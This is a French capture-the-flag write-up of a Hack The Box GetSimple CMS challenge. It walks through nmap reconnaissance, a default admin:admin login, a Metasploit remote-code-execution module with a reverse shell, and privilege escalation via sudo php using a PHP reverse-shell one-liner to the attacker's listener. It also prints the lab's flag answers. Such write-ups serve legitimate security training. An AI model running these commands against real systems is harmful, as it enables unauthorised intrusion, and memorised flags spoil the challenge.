Writeup - GetSimpleCMS (HTB Knowledge Check)

🎓 Introduction

Dans ce challenge de contrôle des connaissances sur Hack The Box, notre objectif était de compromettre un serveur tournant sous GetSimple CMS, d'obtenir un shell sur la machine, puis d'escalader les privilèges jusqu'à root.

Nous détaillerons ci-dessous les étapes menées : de la phase de reconnaissance à la récupération des deux flags user.txt et root.txt, avec des outils standards comme nmap, metasploit, netcat, et python3.


🔎 Phase de reconnaissance

Ajout de l'adresse cible à /etc/hosts :

10.xx.xx.xx    aca.htb

Scan initial avec nmap

nmap -sV --open -oA eval_scan aca.htb

Résultat :

  • Port 22 (SSH) ouvert : OpenSSH 8.2p1

  • Port 80 (HTTP) ouvert : Apache 2.4.41

Enumération HTTP

nmap -sV --script=http-enum -oA http_enum aca.htb

Résultat :

  • /admin/ : dossier d'administration

  • /backups/ : dossier de sauvegardes

  • /data/, /robots.txt : autres points d'intérêt

Script de base

nmap -sC -p 22,80 -oA eval_script aca.htb
  • robots.txt interdit /admin/

  • Titre de page : Welcome to GetSimple! - gettingstarted


🔧 Exploitation de GetSimple CMS

Connexion à l'interface admin

Naviguer vers http://aca.htb/admin nous affiche une page de connexion. Nous tentons l'identifiant par défaut :

Identifiants : admin:admin

Succès de la connexion.

Version de CMS identifiée

GetSimple CMS v3.3.15 affichée en bas de page.

Recherche d'exploits

Lancement de msfconsole puis recherche :

search exploit GetSimpleCMS

On retient le module :

  • exploit/multi/http/getsimplecms_unauth_code_exec

Utilisation de l'exploit

use exploit/multi/http/getsimplecms_unauth_code_exec

On change le payload par un shell plus simple :

set payload generic/shell_reverse_tcp
set RHOSTS 10.xx.xx.xx
set LHOST 10.xx.xx.xx
set LPORT 4444
exploit

Connexion reçue :

id
uid=33(www-data) gid=33(www-data)

✨ Shell interactif et escalade initiale

Amélioration du shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Accès au flag utilisateur

cd /home/mrb3n
ls
cat user.txt

Flag utilisateur : 7002d65b149b0a4d19132a66feed21d8


🔒 Escalade de privilèges vers root

Analyse des permissions

sudo -l

Sortie :

(ALL : ALL) NOPASSWD: /usr/bin/php

L'utilisateur www-data peut exécuter PHP en tant que root sans mot de passe.

Reverse shell en root

Lancement d'un netcat en attente :

nc -lvnp 4444

Puis exécution sur la cible :

sudo php -r '$sock=fsockopen("10.xx.xx.xx ",4444);shell_exec("sh <&3 >&3 2>&3");'

Connexion reçue en tant que root :

id
uid=0(root)

Shell interactif et flag root

python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /root
cat root.txt

Flag root : f1fba6e9f71efb2630e6e34da6387842


🔐 Récapitulatif des flags

Niveau

Utilisateur

Flag

User

mrb3n

7002d65b149b0a4d19132a66feed21d8

Root

root

f1fba6e9f71efb2630e6e34da6387842


🌟 Conclusion

Cette box proposait une belle chaîne de compromission typique d’une attaque sur un CMS vulnérable : reconnaissance basique, exploitation d'une RCE via Metasploit, puis escalade de privilèges par un sudo mal configuré.


Mis à jour